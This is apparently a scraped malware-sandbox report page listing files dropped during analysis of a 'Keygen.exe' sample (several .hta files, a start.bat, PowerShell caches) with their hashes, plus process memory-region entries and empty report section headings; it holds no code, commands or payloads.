C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
25604a2821749d30ca35877a7669dff9

SHA1
49c624275363c7b6768452db6868f8100aa967be

SHA256
7f036b1837d205690b992027eb8b81939ba0228fc296d3f30039eeba00bd4476

SHA512
206d70af0b332208ace2565699f5b5da82b6a3806ffa51dd05f16ab568a887d63449da79bbaeb46183038837446a49515d62cb6615e5c5b27563cd5f774b93f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
06ad34f9739c5159b4d92d702545bd49

SHA1
9152a0d4f153f3f40f7e606be75f81b582ee0c17

SHA256
474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

SHA512
c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
9cd93a9ff4c519cb9cca80589e1315b3

SHA1
9349600cd305da1ced35a6a4c60e1eb86c28a76c

SHA256
afd364e0cf1c7d2692310fc768192140d0a2b478475bcb5c177009d7f789a748

SHA512
f4e5643fb42cf9a8c302380b77e39809b5dd1c2994630afb933edd6964d080fd347311872427fc2e064170899810f13850e64dc1e8d233c4fb8dc4236d5fdb82

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
b500ce68bcab807781c8235fe8e2039e

SHA1
097b052c69498584f7ccd16e97b5243096eca38c

SHA256
ec746a7c9c32ffcd2fe20e5a0d2da51f7bf3895f43e352e5e48e11f747414d49

SHA512
e38fd816e22634692cb7be8de64d919407a609411b60285cc5ea65b03327a5561c535cc8d90635c56db14a02d96b094aae3a3c3dc77124ea747dc93d13a8f155

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
e33b6d16dd92a1d40a7b51ed62fc17b4

SHA1
73dd8105b1f8d1f56d7951c1d7ce0ef1ed3f092e

SHA256
890bf619e9a9d19debf78198b4498dd0f2f97a132eb20ae20837cf9c1d8d1e75

SHA512
752329e540b3c14bcbbebe1f317395832e6aea8a344c91e1b9d80264adca9c047dd7a30d43a82ca5f5e6de520ea1ed7545266f4ef02654a4fb8634e14de5b16f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
d32891749916e7be39db0db8da43723f

SHA1
0634185503c089391526027e58adde6de362d115

SHA256
f49109325f6147ed5bdf70682e98b84eb58c5c1a29ced2054062ea0c8980707d

SHA512
7c50ea5899d1a4bf7dad3ba6be7b386c6bb35d35b909b4f48aaeda0ad0fcb838439c802ad20226291e57e8d14124539ae16e63c8c081938080a6a5d0f7b4bada

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
ba41d93860549fd2c99077c659d3fa03

SHA1
3861758cde36e1cb6ceaf3e00f6592e256c9b668

SHA256
02f55a6043a4c1770a7fcd5e7580afd43c79bd466903e1a021bfd4e995a67830

SHA512
510343f7fe31f2803064e5c11a5db9c3b4767c2642d36aa1c525f737e32fd8661e97fd5a60b5188db99561952e541ef67eeda6724da2a28651163f03511488bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\AB24.tmp\Keygen.exe

Filesize
678KB

MD5
ea2c982c12fbec5f145948b658da1691

SHA1
d17baf0b8f782934da0c686f2e87f019643be458

SHA256
eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

SHA512
1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\AB24.tmp\b.hta

Filesize
17KB

MD5
5bbba448146acc4530b38017be801e2e

SHA1
8c553a7d3492800b630fc7d65a041ae2d466fb36

SHA256
96355db8fd29dcb1f30262c3eac056ff91fd8fa28aa331ed2bedd2bd5f0b3170

SHA512
48e3d605b7c5531cb6406c8ae9d3bd8fbb8f36d7dd7a4cbe0f23fc6ef2df08267ce50d29c7ec86bf861ebdcf9e48fb9c61c218f6584f1a9a0289a10a2fec730b

Download Submit
C:\Users\Admin\AppData\Local\Temp\AB24.tmp\b1.hta

Filesize
17KB

MD5
c57770e25dd4e35b027ed001d9f804c2

SHA1
408b1b1e124e23c2cc0c78b58cb0e595e10c83c0

SHA256
bb0fd0011d5a0c1bbb69cb997700eb329eee7bed75fef677122fcfda78edc7f5

SHA512
ac6d957d2b6218d9c19dea60b263d6148f730a7a4599e03023afc0881b9f4051d20e5f1d94fc3e416c5e12bcc9846a43af90f55767271ef0cc4b84f31f432ae7

Download Submit
C:\Users\Admin\AppData\Local\Temp\AB24.tmp\ba.hta

Filesize
17KB

MD5
b762ca68ba25be53780beb13939870b2

SHA1
1780ee68efd4e26ce1639c6839c7d969f0137bfd

SHA256
c15f61a3c6397babdf83b99b45345fec9851c4d3669c95b717f756b7c48050d1

SHA512
f99570d2dae550cb1474e2d1cabf8296a685e0e7254d92eb21d856acb8dece635a0842a00d63da2a4faa18c52c57244c565d6a752c857d5c15e8c23b3d4a9e1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\AB24.tmp\ba1.hta

Filesize
17KB

MD5
a2ea849e5e5048a5eacd872a5d17aba5

SHA1
65acf25bb62840fd126bf8adca3bb8814226e30f

SHA256
0c4ffba2e00da7c021d0dcab292d53290a4dc4d067c029e5db30ba2ac094344c

SHA512
d4e53c150e88f31c9896decfaa9f0a8dfab5d6d9691af162a6c0577786620fb1f3617398fc257789a52e0988bf1bfc94255db6d003397863b0b9e82afabdb89f

Download Submit
C:\Users\Admin\AppData\Local\Temp\AB24.tmp\m.hta

Filesize
17KB

MD5
9383fc3f57fa2cea100b103c7fd9ea7c

SHA1
84ea6c1913752cb744e061ff2a682d9fe4039a37

SHA256
831e8ee7bc3eeeaaa796a34cbb080658dec1be7eb26eb2671353f650041b220d

SHA512
16eda09f6948742933b6504bc96eb4110952e95c4be752e12732cb3b92db64daa7a7a0312ca78ff1ceb7cffd7bd8a7d46514226fc3cea375b4edb02a98422600

Download Submit
C:\Users\Admin\AppData\Local\Temp\AB24.tmp\m1.hta

Filesize
17KB

MD5
5eb75e90380d454828522ed546ea3cb7

SHA1
45c89f292d035367aeb2ddeb3110387a772c8a49

SHA256
dd43305abbbe5b6cc4ab375b6b0c9f8667967c35bb1f6fefb0f1a59c7c73bd5e

SHA512
0670ef4f687c4814125826b996d10f6dd8a1dd328e04b9c436ee657486b27b1eefad5b82dcc25bd239d36b7ac488f98e5adcff56c5e82f7d0ed41f03301947c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\AB24.tmp\start.bat

Filesize
176B

MD5
68d86e419dd970356532f1fbcb15cb11

SHA1
e9ef9a9d047f1076ba2afbe4eabec2ea2338fb0a

SHA256
d150a28b978b2d92caac25ee0a805dec96381471702a97f1099707b8538c6cbe

SHA512
3078c8c33b18ca1aa3bb2f812e5f587f5b081a4bd857f942ab382383faf09dbe8af38054546bf49037b79081c9406dc25647ae5bd843abc8fcca25c7b3afae14

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ihkpx0lk.qo1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/776-135-0x00007FFCFDC70000-0x00007FFCFDC81000-memory.dmp

Filesize
68KB

Download
memory/776-145-0x00007FFCFCDD0000-0x00007FFCFCDE1000-memory.dmp

Filesize
68KB

Download
memory/776-142-0x00007FFCFC680000-0x00007FFCFC6C1000-memory.dmp

Filesize
260KB

Download
memory/776-134-0x00007FFD00D90000-0x00007FFD00DA7000-memory.dmp

Filesize
92KB

Download
memory/776-147-0x00007FFCFCC10000-0x00007FFCFCC21000-memory.dmp

Filesize
68KB

Download
memory/776-146-0x00007FFCFCCD0000-0x00007FFCFCCE1000-memory.dmp

Filesize
68KB

Download
memory/776-133-0x00007FFD00E50000-0x00007FFD00E68000-memory.dmp

Filesize
96KB

Download
memory/776-138-0x00007FFCFCE40000-0x00007FFCFCE5D000-memory.dmp

Filesize
116KB

Download
memory/776-136-0x00007FFCFDA70000-0x00007FFCFDA87000-memory.dmp

Filesize
92KB

Download
memory/776-141-0x00007FFCEB930000-0x00007FFCEC9E0000-memory.dmp

Filesize
16.7MB

Download
memory/776-156-0x00007FF6AF750000-0x00007FF6AF848000-memory.dmp

Filesize
992KB

Download
memory/776-148-0x00007FFCEE8B0000-0x00007FFCEE8C2000-memory.dmp

Filesize
72KB

Download
memory/776-144-0x00007FFCFCE00000-0x00007FFCFCE18000-memory.dmp

Filesize
96KB

Download
memory/776-137-0x00007FFCFD010000-0x00007FFCFD021000-memory.dmp

Filesize
68KB

Download
memory/776-157-0x00007FFCFD170000-0x00007FFCFD1A4000-memory.dmp

Filesize
208KB

Download
memory/776-158-0x00007FFCED540000-0x00007FFCED7F6000-memory.dmp

Filesize
2.7MB

Download
memory/776-159-0x00007FFCEB930000-0x00007FFCEC9E0000-memory.dmp

Filesize
16.7MB

Download
memory/776-143-0x00007FFCFCD80000-0x00007FFCFCDA1000-memory.dmp

Filesize
132KB

Download
memory/776-130-0x00007FF6AF750000-0x00007FF6AF848000-memory.dmp

Filesize
992KB

Download
memory/776-131-0x00007FFCFD170000-0x00007FFCFD1A4000-memory.dmp

Filesize
208KB

Download
memory/776-132-0x00007FFCED540000-0x00007FFCED7F6000-memory.dmp

Filesize
2.7MB

Download
memory/776-139-0x00007FFCFCE20000-0x00007FFCFCE31000-memory.dmp

Filesize
68KB

Download
memory/776-140-0x00007FFCEC9E0000-0x00007FFCECBEB000-memory.dmp

Filesize
2.0MB

Download
memory/888-110-0x0000000000400000-0x00000000005BC000-memory.dmp

Filesize
1.7MB

Download
memory/888-112-0x0000000000780000-0x0000000000781000-memory.dmp

Filesize
4KB

Download
memory/888-22-0x0000000000720000-0x0000000000723000-memory.dmp

Filesize
12KB

Download
memory/888-21-0x0000000000400000-0x00000000005BC000-memory.dmp

Filesize
1.7MB

Download
memory/888-25-0x0000000000780000-0x0000000000781000-memory.dmp

Filesize
4KB

Download
memory/4740-57-0x0000000006110000-0x000000000615C000-memory.dmp

Filesize
304KB

Download
memory/4740-77-0x00000000060B0000-0x00000000060CA000-memory.dmp

Filesize
104KB

Download
memory/4740-82-0x0000000007100000-0x0000000007196000-memory.dmp

Filesize
600KB

Download
memory/4740-56-0x0000000005BD0000-0x0000000005BEE000-memory.dmp

Filesize
120KB

Download
memory/4740-83-0x0000000007060000-0x0000000007082000-memory.dmp

Filesize
136KB

Download
memory/4740-35-0x0000000004ED0000-0x0000000004F36000-memory.dmp

Filesize
408KB

Download
memory/4740-36-0x0000000004F40000-0x0000000004FA6000-memory.dmp

Filesize
408KB

Download
memory/4740-34-0x0000000004C30000-0x0000000004C52000-memory.dmp

Filesize
136KB

Download
memory/4740-29-0x0000000005070000-0x0000000005698000-memory.dmp

Filesize
6.2MB

Download
memory/4740-84-0x0000000007F60000-0x0000000008504000-memory.dmp

Filesize
5.6MB

Download
memory/4844-76-0x0000000007E70000-0x00000000084EA000-memory.dmp

Filesize
6.5MB

Download
memory/4844-28-0x0000000004F60000-0x0000000004F96000-memory.dmp

Filesize
216KB

Download
memory/4844-37-0x0000000005EF0000-0x0000000006244000-memory.dmp

Filesize
3.3MB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.